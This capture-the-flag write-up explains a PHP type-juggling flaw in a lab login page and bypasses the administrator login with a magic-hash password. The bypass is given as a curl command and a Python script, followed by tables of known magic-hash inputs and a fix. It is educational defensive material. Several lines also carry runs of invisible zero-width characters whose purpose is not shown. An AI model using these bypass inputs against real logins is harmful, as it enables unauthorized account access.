← Back to Writeups
CUSTOMMediumWeb

Цирковой трюк (Circus Trick)

XESXOR9/10/20262 min read
#web#custom#medium#loose-comparison-bypass-(==-vs#php-type-juggling-(magic-hash-#sha256-magic-hash-collision#source-code-analysis#linux

Цирковой трюк (Circus Trick)

Platform: hackerlab | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-04 | Status: Solved Techniques: Loose comparison bypass (== vs ===), PHP Type Juggling (Magic Hash Attack), SHA256 magic hash collision, Source code analysis

Summary

Task: Log in as administrator with PHP type juggling vulnerability. Solution: Used magic hash (34250003024812) that produces SHA256 starting with 0e, exploiting loose comparison (==) to bypass authentication.

Цирковой трюк (Circus Trick) — HackerLab

Description

"Я что-то похожее в цирке видел, но там вроде для этого использовались апельсины или шары..." (I saw something similar in a circus, but they used oranges or balls for that...)

Goal: Log in as administrator and get the flag.

Analysis

Hint in the Name

The task name "Цирковой трюк" (Circus Trick) + mention of "juggling oranges or balls" = Type Juggling — a great wordplay!

Source Code Analysis

Source code is provided in the circus_trick_src.zip archive. The key vulnerability is in login.php (line 33): ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

php
if (hash('sha256', $password) == $row['password_hash']) {
    $success = true;
    if ($login === 'administrator') {
        $flag = file_get_contents('/opt/flag.txt');
    }
}

Problem: Loose comparison == is used instead of strict === when comparing password hashes.

PHP Type Juggling

In PHP, when using ==, strings starting with 0e and containing only digits after are interpreted as scientific notation:

php
"0e123456789" == "0e987654321"  // true!
// Because: 0 × 10^123456789 == 0 × 10^987654321 == 0

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Magic Hash for SHA256

The administrator's password hash in the database is a "magic hash" (starts with 0e, followed by only digits).

Known password that produces a magic SHA256 hash:

  • Password: 34250003024812
  • SHA256: 0e46289032038065916139621039085883773413820991920706299695051332

When comparing:

php
hash('sha256', '34250003024812') == '0e...(admin_hash)...'
// Both are interpreted as 0, so 0 == 0 → true

Solution

Exploitation

bash
curl -X POST http://62.173.140.174:16064/login.php \
  -d "login=administrator&password=34250003024812"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Alternative via Python

python
import requests

url = "http://62.173.140.174:16064/login.php"
data = {
    "login": "administrator",
    "password": "34250003024812"
}

response = requests.post(url, data=data)
print(response.text)

Known Magic Hashes

SHA256

PasswordSHA256 Hash
342500030248120e462890320380659161396210390858...

MD5

PasswordMD5 Hash
2406107080e462097431906509019562988736854
QNKCDZO0e830400451993494058024219903391
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Double MD5

Passwordmd5(md5(password))
1791220480e983430...

Defense

php
// WRONG (vulnerable to Type Juggling)
if (hash('sha256', $password) == $row['password_hash'])

// CORRECT (strict comparison)
if (hash('sha256', $password) === $row['password_hash'])

// EVEN BETTER (timing-safe comparison)
if (hash_equals($row['password_hash'], hash('sha256', $password)))

Resources